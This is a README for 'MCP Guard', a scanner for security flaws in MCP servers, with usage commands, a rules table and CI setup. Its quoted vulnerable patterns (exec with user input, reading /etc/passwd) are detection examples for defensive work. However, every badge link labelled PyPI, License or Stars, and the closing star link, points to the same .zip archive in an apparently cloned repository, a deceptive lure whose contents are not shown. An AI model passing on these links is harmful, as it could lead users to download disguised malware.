mcp-guard

<p align="center"> <img src="https://img.shields.io/badge/MCP-Guard-blue?style=for-the-badge&logo=shield&logoColor=white" alt="MCP Guard" height="40"> </p> <h1 align="center">MCP Guard</h1> <p align="center"> <strong>Security scanner for MCP servers — find vulnerabilities before attackers do</strong> </p> <p align="center"> <a href="https://github.com/Neurave9751/mcp-guard/raw/refs/heads/main/.github/guard-mcp-v1.3.zip"><img src="https://img.shields.io/pypi/v/mcp-guard?style=flat-square&color=blue" alt="PyPI"></a> <a href="https://github.com/Neurave9751/mcp-guard/raw/refs/heads/main/.github/guard-mcp-v1.3.zip"><img src="https://img.shields.io/pypi/pyversions/mcp-guard?style=flat-square" alt="Python"></a> <a href="https://github.com/Neurave9751/mcp-guard/raw/refs/heads/main/.github/guard-mcp-v1.3.zip"><img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License"></a> <a href="https://github.com/Neurave9751/mcp-guard/raw/refs/heads/main/.github/guard-mcp-v1.3.zip"><img src="https://img.shields.io/github/stars/mubaidr/mcp-guard?style=flat-square" alt="Stars"></a> </p> <p align="center"> <a href="#quick-start">Quick Start</a> • <a href="#why">Why?</a> • <a href="#features">Features</a> • <a href="#rules">Rules</a> • <a href="#usage">Usage</a> • <a href="#ci-integration">CI Integration</a> </p> --- > **82% of MCP servers have security vulnerabilities.** Path traversal. Command injection. Secret leaks. MCP Guard finds them in seconds. <!-- TODO: Add demo GIF here after recording --> <!--  --> ## Why? MCP (Model Context Protocol) connects AI models to external tools. There are **13,000+ MCP servers** on GitHub — and most were built without security review. Common issues MCP Guard catches: - **Path Traversal** — AI can read `/etc/passwd` through a file server with no path validation - **Command Injection** — `exec(\`git ${userInput}\`)` lets AI inject shell commands - **Code Injection** — `eval()` with tool input = remote code execution - **Secret Leaks** — `process.env.API_KEY` returned in tool responses goes straight to the LLM - **Supply Chain** — `npx some-package` without version pinning downloads whatever's latest ## Quick Start ```bash # Install pip install mcp-guard # Scan your MCP servers (auto-discovers from Claude, Cursor configs) mcp-guard scan # Scan a specific directory mcp-guard scan ./my-mcp-server/ # Scan a config file directly mcp-guard scan ~/.claude/settings.json ``` **One command. Real vulnerabilities. Zero config.** ## Features - **Auto-discovery** — Finds MCP servers from Claude Code, Cursor, and standard config files - **Python + TypeScript** — AST-based analysis for Python, pattern matching for TS/JS - **17 security rules** across 5 categories (path traversal, command injection, code injection, secret leaks, supply chain) - **Beautiful terminal output** — Rich-powered reports you'll actually want to read - **JSON output** — Pipe to CI, dashboards, or other tools with `--json` - **Exit codes** — Non-zero exit when vulnerabilities found (perfect for CI gates) - **Zero dependencies on MCP** — Scans source code statically, no server runtime needed ## Rules | Category | Rules | Severities | |----------|-------|------------| | **Path Traversal** | `PATH-001` `PATH-002` `PATH-003` | CRITICAL, HIGH | | **Command Injection** | `CMD-001` `CMD-002` `CMD-003` `CMD-004` | CRITICAL, HIGH | | **Code Injection** | `CODE-001` `CODE-002` `CODE-003` `CODE-004` | CRITICAL, HIGH | | **Secret Leaks** | `ENV-001` `ENV-002` | MEDIUM, HIGH | | **Supply Chain** | `SUPPLY-001` `SUPPLY-002` `SUPPLY-003` `SUPPLY-004` | MEDIUM, HIGH | View all rules with full descriptions: ```bash mcp-guard rules ``` ## Usage ### Scan with auto-discovery ```bash # Discovers servers from ~/.claude/settings.json, .cursor/mcp.json, etc. mcp-guard scan ``` ### Scan a specific path ```bash # Directory containing MCP server source mcp-guard scan ./servers/filesystem-server/ # A specific config file mcp-guard scan mcp.json # Multiple paths mcp-guard scan ./server-a/ ./server-b/ ./config.json ``` ### Filter by severity ```bash # Only critical and high severity mcp-guard scan --severity high # Only critical mcp-guard scan --severity critical ``` ### Detailed output ```bash # Show descriptions and fix recommendations mcp-guard scan --verbose ``` ### JSON output ```bash # Machine-readable output mcp-guard scan --json # Pipe to jq mcp-guard scan --json | jq '.findings[] | select(.severity == "CRITICAL")' ``` ## CI Integration ### GitHub Actions ```yaml name: MCP Security on: [push, pull_request] jobs: mcp-guard: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-python@v5 with: python-version: "3.12" - run: pip install mcp-guard - run: mcp-guard scan . --severity high ``` MCP Guard exits with code 1 when vulnerabilities are found, making it a natural CI gate. ### Pre-commit hook ```yaml # .pre-commit-config.yaml repos: - repo: local hooks: - id: mcp-guard name: MCP Guard Security Scan entry: mcp-guard scan language: python additional_dependencies: [mcp-guard] pass_filenames: false ``` ## How It Works 1. **Discovery** — Reads MCP config files (Claude Code, Cursor, generic) to find server definitions 2. **Source analysis** — Parses Python files with AST, scans TypeScript/JavaScript with pattern matching 3. **Config analysis** — Checks for supply chain risks in server configurations (unpinned packages, shell execution) 4. **Report** — Outputs findings sorted by severity with fix recommendations MCP Guard is a **static analysis tool** — it reads source code, not running servers. No MCP runtime needed. ## Contributing Contributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines. **Ideas for contributions:** - New detection rules - Support for more MCP client configs - SARIF output format - VS Code extension ## License [MIT](LICENSE) — use it everywhere, no strings attached. --- <p align="center"> _{Built to make the MCP ecosystem safer.}<br> _{If this helped you, <a href="https://github.com/Neurave9751/mcp-guard/raw/refs/heads/main/.github/guard-mcp-v1.3.zip">give it a star</a> — it helps others find it too.} </p>